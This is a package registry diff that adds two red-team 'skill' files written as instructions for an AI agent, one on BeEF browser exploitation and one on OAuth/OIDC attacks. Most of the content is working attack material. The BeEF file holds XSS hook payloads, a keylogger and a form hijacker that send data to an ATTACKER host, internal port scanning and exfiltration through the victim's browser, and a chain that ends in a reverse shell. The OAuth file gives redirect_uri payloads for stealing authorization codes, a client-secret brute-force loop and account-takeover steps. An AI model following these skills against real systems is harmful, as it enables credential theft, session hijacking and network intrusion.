rtexit-method 0.1.6 → 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,244 @@
1
+ ---
2
+ name: rt-browser-exploitation
3
+ description: "Browser exploitation and BeEF framework skill for authorized engagements. BeEF (Browser Exploitation Framework) hooking via XSS, browser-based network pivoting to internal resources, keylogging and credential harvesting from browser, session token theft, browser fingerprinting for target profiling, JavaScript-based port scanning through victim browser, webcam/microphone access, and chaining XSS to full internal network access. Use when XSS is found and scope permits browser-based exploitation."
4
+ ---
5
+
6
+ # rt-browser-exploitation — Browser Exploitation & BeEF
7
+
8
+ ## Overview
9
+
10
+ A hooked browser is a foothold inside the victim's network. The BeEF (Browser Exploitation Framework) framework turns a reflected/stored XSS into a persistent command channel — running JavaScript in the victim's browser to pivot into internal networks, steal credentials, and fingerprint the environment. A browser on an internal network can reach internal services that the attacker cannot reach directly.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — BeEF Setup
15
+
16
+ ```bash
17
+ # Install BeEF
18
+ apt install beef-xss -y
19
+ # Or from source:
20
+ git clone https://github.com/beefproject/beef && cd beef
21
+ ./install
22
+
23
+ # Configure BeEF
24
+ nano config.yaml
25
+ # Change default credentials:
26
+ # user: "beef"
27
+ # passwd: "your_password"
28
+ # Set permitted_hooks: '*' for testing, or restrict to target IP
29
+
30
+ # Start BeEF
31
+ ./beef
32
+ # Web UI: http://127.0.0.1:3000/ui/panel
33
+ # Hook URL: http://YOUR_IP:3000/hook.js
34
+
35
+ # Expose BeEF to internet (for external targets)
36
+ # Option A: Cloudflare Tunnel
37
+ cloudflared tunnel --url http://localhost:3000
38
+ # Option B: ngrok
39
+ ngrok http 3000
40
+ # Option C: VPS reverse proxy (see rt-redteam-infra)
41
+ ```
42
+
43
+ ---
44
+
45
+ ## Phase 2 — Hooking Victims via XSS
46
+
47
+ ```javascript
48
+ // Basic XSS payload — loads BeEF hook
49
+ <script src="http://ATTACKER_IP:3000/hook.js"></script>
50
+
51
+ // Attribute injection
52
+ "><script src="http://ATTACKER_IP:3000/hook.js"></script>
53
+
54
+ // DOM-based / filter bypass variants
55
+ <img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.head.appendChild(s)">
56
+
57
+ // Stored XSS (persists — re-hooks every visitor)
58
+ // Best for: comment sections, profile names, product reviews
59
+
60
+ // SVG-based (bypasses some filters)
61
+ <svg onload="fetch('http://ATTACKER_IP:3000/hook.js').then(r=>r.text()).then(eval)">
62
+
63
+ // CSP bypass via JSONP (if allowed domain has JSONP endpoint)
64
+ <script src="https://allowed-cdn.com/jsonp?callback=eval&data=fetch('http://ATTACKER/hook.js').then(r=>r.text()).then(eval)"></script>
65
+
66
+ // BeEF persistent hook — survives page navigation
67
+ // In BeEF console: Hooked Browsers → select victim → Commands → Persistence → Man-In-The-Browser
68
+ ```
69
+
70
+ ---
71
+
72
+ ## Phase 3 — Internal Network Recon via Browser
73
+
74
+ ```javascript
75
+ // Victim's browser is inside the corporate network
76
+ // Use it to scan internal hosts — bypasses all perimeter controls
77
+
78
+ // BeEF: Commands → Network Discovery → Get Internal IP
79
+ // Returns: victim's internal IP address (via WebRTC)
80
+
81
+ // Port scan internal hosts through victim's browser
82
+ // BeEF: Commands → Network Discovery → Port Scanner
83
+ // Set: network range 10.10.10.0/24, ports 22,80,443,8080,3389,5985
84
+
85
+ // Manual JavaScript port scan
86
+ (function() {
87
+ var targets = [];
88
+ for (var i = 1; i < 255; i++) targets.push('10.10.10.' + i);
89
+ var ports = [22, 80, 443, 8080, 3389, 5985, 27017, 3306, 5432];
90
+
91
+ targets.forEach(function(host) {
92
+ ports.forEach(function(port) {
93
+ var img = new Image();
94
+ var start = Date.now();
95
+ img.onload = img.onerror = function() {
96
+ var t = Date.now() - start;
97
+ if (t < 100) { // Fast response = open port
98
+ fetch('http://ATTACKER/collect?open=' + host + ':' + port);
99
+ }
100
+ };
101
+ img.src = 'http://' + host + ':' + port + '/favicon.ico?' + Math.random();
102
+ });
103
+ });
104
+ })();
105
+ ```
106
+
107
+ ---
108
+
109
+ ## Phase 4 — Internal Service Access via Browser
110
+
111
+ ```javascript
112
+ // Access internal web services through victim browser
113
+ // Admin panels, dev tools, monitoring dashboards
114
+
115
+ // BeEF: Commands → Network Discovery → Get HTTP Servers
116
+ // Then: Commands → Browser → Redirect Browser → http://internal-jenkins:8080
117
+
118
+ // Fetch internal resources and exfil
119
+ fetch('http://192.168.1.1/admin/')
120
+ .then(r => r.text())
121
+ .then(html => fetch('http://ATTACKER/exfil?data=' + btoa(html)));
122
+
123
+ // Access internal API
124
+ fetch('http://10.10.10.5:8080/api/users', {
125
+ headers: {'Cookie': document.cookie} // Victim's internal auth cookies
126
+ })
127
+ .then(r => r.json())
128
+ .then(data => fetch('http://ATTACKER/collect', {
129
+ method: 'POST',
130
+ body: JSON.stringify(data)
131
+ }));
132
+
133
+ // Pivot to internal services requiring victim's browser auth
134
+ // (Browser automatically sends cookies for internal domains)
135
+ fetch('http://internal-sharepoint/sites/IT/_api/search/query?querytext=password')
136
+ .then(r => r.json())
137
+ .then(d => exfil(d));
138
+ ```
139
+
140
+ ---
141
+
142
+ ## Phase 5 — Credential Harvesting
143
+
144
+ ```javascript
145
+ // Keylogger
146
+ document.addEventListener('keydown', function(e) {
147
+ fetch('http://ATTACKER/keys?k=' + encodeURIComponent(e.key) +
148
+ '&url=' + encodeURIComponent(window.location.href));
149
+ });
150
+
151
+ // Form hijacking — capture all form submissions
152
+ document.querySelectorAll('form').forEach(function(form) {
153
+ form.addEventListener('submit', function(e) {
154
+ var data = new FormData(form);
155
+ var params = [];
156
+ data.forEach(function(val, key) { params.push(key + '=' + val); });
157
+ fetch('http://ATTACKER/forms?data=' + encodeURIComponent(params.join('&')) +
158
+ '&url=' + encodeURIComponent(window.location.href));
159
+ });
160
+ });
161
+
162
+ // BeEF modules for credential theft:
163
+ // Commands → Browser → Hooked Domain → Get Cookie (all cookies)
164
+ // Commands → Browser → Hooked Domain → Get Page HTML
165
+ // Commands → User Interface → Fake Notification Bar (phish credentials)
166
+ // Commands → User Interface → Pretty Theft (overlay login form)
167
+ ```
168
+
169
+ ---
170
+
171
+ ## Phase 6 — BeEF Advanced Modules
172
+
173
+ ```bash
174
+ # From BeEF web UI → select hooked browser → Commands tab
175
+
176
+ # Fingerprinting
177
+ # Browser → Detect Browser (version, plugins, extensions)
178
+ # Browser → Get Browser Version
179
+ # Network Discovery → Get Internal IP (WebRTC leak)
180
+ # Browser → Detect Flash Version
181
+
182
+ # Social Engineering
183
+ # User Interface → Fake Login Form (overlays fake login)
184
+ # User Interface → Fake Notification Bar (Chrome/Firefox extension install prompt)
185
+ # User Interface → Alert Dialog (social engineering prompt)
186
+
187
+ # Tunneling
188
+ # Network Discovery → Ping Sweep (ICMP through browser)
189
+ # Proxy → Create Proxy (HTTP proxy through victim browser)
190
+
191
+ # Persistence
192
+ # Misc → Create Shortcut (desktop shortcut that loads hook on click)
193
+ # Persistence → Man-In-The-Browser (hooks all page navigations)
194
+ # Persistence → Create Pop-Under (hidden window keeps hook alive)
195
+
196
+ # Webcam / Microphone (requires HTTPS + user interaction on modern browsers)
197
+ # Misc → Webcam
198
+ # Requires: HTTPS + victim granted permission
199
+ ```
200
+
201
+ ---
202
+
203
+ ## Phase 7 — XSS to Full Internal Compromise Chain
204
+
205
+ ```
206
+ FULL ATTACK CHAIN:
207
+
208
+ 1. Find stored XSS on internet-facing app (e.g., user profile, comment)
209
+ 2. Inject BeEF hook: <script src="https://ATTACKER/hook.js"></script>
210
+ 3. Wait for admin/internal user to trigger XSS
211
+ 4. BeEF hooks admin browser
212
+ 5. Internal network scan → find internal Jenkins at 10.10.10.15:8080
213
+ 6. Redirect admin browser to Jenkins admin panel
214
+ 7. Use admin's browser cookies → access Jenkins as admin
215
+ 8. Create Jenkins pipeline → execute OS commands
216
+ 9. Reverse shell to attacker C2
217
+ 10. Now inside internal network
218
+
219
+ OR:
220
+ 4. Steal admin session cookie via BeEF
221
+ 5. Use cookie in Burp → access admin panel directly
222
+ 6. Escalate from admin panel → RCE
223
+ ```
224
+
225
+ ---
226
+
227
+ ## Skill Levels
228
+
229
+ **BEGINNER:** BeEF setup + basic XSS hook + steal cookies + redirect browser
230
+
231
+ **INTERMEDIATE:** Internal network scan via victim browser + internal service access + credential keylogging
232
+
233
+ **ADVANCED:** CSP bypass for hook injection + Man-in-the-Browser persistence + internal pivot via browser
234
+
235
+ **EXPERT:** Full XSS → internal network → RCE chain + custom BeEF modules + browser-based C2
236
+
237
+ ---
238
+
239
+ ## References
240
+
241
+ - BeEF: https://github.com/beefproject/beef
242
+ - BeEF Wiki: https://github.com/beefproject/beef/wiki
243
+ - XSS to RCE via BeEF: https://www.hackingarticles.in/comprehensive-guide-to-beef-xss-framework/
244
+ - MITRE T1185: https://attack.mitre.org/techniques/T1185/
@@ -0,0 +1,260 @@
1
+ ---
2
+ name: rt-oauth-oidc
3
+ description: "OAuth 2.0 and OIDC deep attack skill for authorized engagements. Authorization code interception, PKCE bypass, redirect_uri manipulation, state parameter CSRF, implicit flow token theft, client credential abuse, token leakage in referrer headers, JWT attacks on id_token, OAuth misconfiguration in social login, open redirect chaining, and account takeover via OAuth flow manipulation. Use when testing SSO, social login, or any OAuth/OIDC implementation."
4
+ ---
5
+
6
+ # rt-oauth-oidc — OAuth 2.0 & OIDC Deep Attacks
7
+
8
+ ## Overview
9
+
10
+ OAuth 2.0 is the authorization framework behind every "Login with Google/GitHub/Microsoft" button, API authorization, and SSO system. A single misconfiguration can allow account takeover without credentials. This skill covers the complete OAuth attack surface beyond what rt-exploit-auth covers.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — OAuth Flow Reconnaissance
15
+
16
+ ```bash
17
+ # Identify OAuth flow type
18
+ # Authorization Code: most secure, used by web apps
19
+ # Implicit: deprecated, token in URL fragment → leaks to browser history
20
+ # Client Credentials: machine-to-machine, no user
21
+ # Device Code: IoT/CLI (see rt-azure-ad)
22
+
23
+ # Find OAuth endpoints
24
+ curl https://target.com/.well-known/openid-configuration
25
+ # Reveals: authorization_endpoint, token_endpoint, jwks_uri, etc.
26
+
27
+ # Or discover manually
28
+ # Look for: /oauth/authorize, /oauth/token, /connect/authorize
29
+ # Check login buttons → inspect redirect URLs
30
+
31
+ # Extract OAuth parameters from auth request
32
+ # GET /oauth/authorize?
33
+ # response_type=code
34
+ # &client_id=CLIENT_ID
35
+ # &redirect_uri=https://target.com/callback
36
+ # &scope=openid profile email
37
+ # &state=RANDOM_STATE
38
+
39
+ # Key parameters to attack:
40
+ # redirect_uri → manipulation
41
+ # state → CSRF if missing/weak
42
+ # scope → escalation
43
+ # response_type → implicit flow downgrade
44
+ ```
45
+
46
+ ---
47
+
48
+ ## Phase 2 — redirect_uri Manipulation
49
+
50
+ ```bash
51
+ # If redirect_uri not strictly validated → steal authorization code
52
+
53
+ # Test 1: Extra path component
54
+ redirect_uri=https://target.com/callback/../../attacker.com
55
+
56
+ # Test 2: Subdomain (if wildcard allowed)
57
+ redirect_uri=https://attacker.target.com/callback
58
+
59
+ # Test 3: Different path (if prefix match only)
60
+ redirect_uri=https://target.com/callback@attacker.com
61
+ redirect_uri=https://target.com/callback%0d%0aattacker.com
62
+
63
+ # Test 4: Open redirect chaining
64
+ # target.com has open redirect at /redirect?url=
65
+ redirect_uri=https://target.com/redirect?url=https://attacker.com
66
+
67
+ # Test 5: localhost (if allowed in dev mode)
68
+ redirect_uri=http://localhost:8080
69
+
70
+ # Full attack: craft auth URL with manipulated redirect
71
+ evil_url="https://idp.target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com&scope=openid"
72
+
73
+ # Victim clicks link → code sent to attacker.com
74
+ # GET https://attacker.com/?code=AUTH_CODE&state=STATE
75
+
76
+ # Exchange stolen code for tokens
77
+ curl -X POST https://idp.target.com/oauth/token \
78
+ -d "grant_type=authorization_code&code=AUTH_CODE&redirect_uri=...&client_id=CLIENT_ID&client_secret=CLIENT_SECRET"
79
+ ```
80
+
81
+ ---
82
+
83
+ ## Phase 3 — State Parameter CSRF
84
+
85
+ ```bash
86
+ # If state parameter is missing or not validated → CSRF → account linking attack
87
+
88
+ # Scenario: target app allows linking social accounts
89
+ # 1. Attacker initiates "Link Google Account" on their account
90
+ # 2. OAuth flow starts, state=ATTACKER_STATE
91
+ # 3. Attacker stops before completing, copies callback URL:
92
+ # https://target.com/oauth/callback?code=ATTACKER_CODE&state=ATTACKER_STATE
93
+ # 4. Tricks victim into visiting that URL (CSRF)
94
+ # 5. Victim's session completes the OAuth → links attacker's Google to victim's account
95
+ # 6. Attacker can now log in as victim using their own Google account
96
+
97
+ # Test: remove state parameter
98
+ # Modify the callback URL, remove &state=...
99
+ # If application accepts → CSRF vulnerable
100
+
101
+ # Test: static/predictable state
102
+ # If state = timestamp or sequential number → predictable → CSRF possible
103
+ ```
104
+
105
+ ---
106
+
107
+ ## Phase 4 — Scope Escalation
108
+
109
+ ```bash
110
+ # Request more permissions than intended
111
+
112
+ # Add privileged scopes to authorization request
113
+ # Normal: scope=openid profile email
114
+ # Attack: scope=openid profile email admin write:all
115
+
116
+ # Try undocumented scopes
117
+ scope=openid profile email offline_access # Get refresh token
118
+ scope=openid profile email api:admin
119
+ scope=openid profile email user:* groups:*
120
+
121
+ # Scope downgrade for different code paths
122
+ # Request minimal scope → bypass security checks designed for full scope flows
123
+
124
+ # Google OAuth scope escalation (if any Google scope accepted)
125
+ scope=https://www.googleapis.com/auth/gmail.readonly # Read all emails
126
+ scope=https://www.googleapis.com/auth/drive # Access Google Drive
127
+ # Add to existing consent → may auto-approve
128
+ ```
129
+
130
+ ---
131
+
132
+ ## Phase 5 — Token Leakage
133
+
134
+ ```bash
135
+ # Access tokens leak through various channels
136
+
137
+ # Referrer header leakage
138
+ # If app redirects to external site after OAuth with token in URL:
139
+ # https://target.com/dashboard#access_token=TOKEN → external image → Referer header leaks token
140
+
141
+ # Browser history leakage (implicit flow)
142
+ # Implicit flow: token in URL fragment → stays in browser history
143
+ # After XSS: window.location.hash → steal token from history
144
+
145
+ # Log file leakage
146
+ # Tokens in server logs if in URL params
147
+ # Check: access logs, error logs, analytics tools
148
+ # Tools: grep for "access_token\|id_token\|token=" in exported logs
149
+
150
+ # JWT id_token analysis
151
+ # Decode with jwt.io or:
152
+ echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
153
+ # Look for: role claims, email, account_id — may be tamperable if weak secret
154
+
155
+ # JWT attacks on id_token (see also rt-exploit-jwt)
156
+ python3 jwt_tool.py ID_TOKEN -X a # Algorithm none
157
+ python3 jwt_tool.py ID_TOKEN -X k -pk pubkey.pem # RS256→HS256
158
+ ```
159
+
160
+ ---
161
+
162
+ ## Phase 6 — Client Credential Abuse
163
+
164
+ ```bash
165
+ # Find OAuth client_id and client_secret in source code / repos
166
+ grep -r "client_secret\|CLIENT_SECRET\|oauth_secret" .
167
+ trufflehog github --org=TARGET_ORG --only-verified | grep -i "oauth\|client_secret"
168
+
169
+ # Test client credentials directly
170
+ curl -X POST https://idp.target.com/oauth/token \
171
+ -d "grant_type=client_credentials&client_id=FOUND_ID&client_secret=FOUND_SECRET&scope=api:read"
172
+
173
+ # If valid → you have machine-to-machine access to all APIs
174
+ # client_credentials tokens often have broader scope than user tokens
175
+
176
+ # Client secret brute force (if short/predictable)
177
+ for secret in $(cat common_secrets.txt); do
178
+ response=$(curl -s -o /dev/null -w "%{http_code}" \
179
+ -X POST https://idp.target.com/oauth/token \
180
+ -d "grant_type=client_credentials&client_id=KNOWN_CLIENT_ID&client_secret=$secret")
181
+ [ "$response" = "200" ] && echo "FOUND: $secret"
182
+ done
183
+ ```
184
+
185
+ ---
186
+
187
+ ## Phase 7 — Account Takeover via OAuth
188
+
189
+ ```bash
190
+ # Pre-account takeover
191
+ # 1. Target app allows social login (OAuth)
192
+ # 2. Attacker creates account with victim's email via password registration
193
+ # 3. Victim later tries "Login with Google" using same email
194
+ # 4. App links Google account to existing (attacker's) account
195
+ # 5. Attacker can now access victim's account via their own Google login
196
+
197
+ # Test:
198
+ # 1. Register account: victim@gmail.com with password
199
+ # 2. Log out
200
+ # 3. Try "Login with Google" with victim@gmail.com
201
+ # 4. If login succeeds → account takeover via pre-registration
202
+
203
+ # OAuth login bypass via email matching
204
+ # App looks up user by email from OAuth provider
205
+ # If provider email is attacker-controlled → register with victim's email format
206
+ # GitHub OAuth: github.com allows setting primary email → abuse for email matching
207
+
208
+ # Forced re-linking attack
209
+ # 1. Find "Connect Social Account" feature
210
+ # 2. Intercept OAuth callback
211
+ # 3. Replay callback in victim's session (CSRF if state not validated)
212
+ ```
213
+
214
+ ---
215
+
216
+ ## Phase 8 — PKCE Bypass
217
+
218
+ ```bash
219
+ # PKCE (Proof Key for Code Exchange) prevents code theft
220
+ # code_verifier → SHA256 hash → code_challenge
221
+ # Sent with auth request → verified at token exchange
222
+
223
+ # Test 1: PKCE not enforced (most common issue)
224
+ # Remove code_verifier from token exchange request
225
+ curl -X POST https://idp.target.com/oauth/token \
226
+ -d "grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=...&client_id=...
227
+ # NO code_verifier parameter"
228
+ # If exchange succeeds → PKCE not enforced → stolen codes work
229
+
230
+ # Test 2: PKCE with plain method (downgrade)
231
+ # Send code_challenge_method=plain → code_challenge = code_verifier in plaintext
232
+ # Intercept authorization request → read code_challenge → you have the verifier
233
+ curl -X POST https://idp.target.com/oauth/token \
234
+ -d "grant_type=authorization_code&code=CODE&code_verifier=CHALLENGE_FROM_URL"
235
+
236
+ # Test 3: Weak verifier entropy
237
+ # Some implementations use predictable code_verifiers
238
+ # Monitor multiple auth flows → look for patterns
239
+ ```
240
+
241
+ ---
242
+
243
+ ## Skill Levels
244
+
245
+ **BEGINNER:** Decode JWT id_token · Test state parameter presence · Test redirect_uri with simple variants
246
+
247
+ **INTERMEDIATE:** Scope escalation · Client secret extraction from source · Pre-account takeover · PKCE enforcement test
248
+
249
+ **ADVANCED:** Open redirect chaining for code theft · CSRF via missing state · Token leakage via referrer
250
+
251
+ **EXPERT:** Full account takeover chains · Custom PKCE downgrade · Cross-provider OAuth confusion attacks
252
+
253
+ ---
254
+
255
+ ## References
256
+
257
+ - PortSwigger OAuth: https://portswigger.net/web-security/oauth
258
+ - OAuth security best practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
259
+ - jwt_tool: https://github.com/ticarpi/jwt_tool
260
+ - MITRE T1550.001: https://attack.mitre.org/techniques/T1550/001/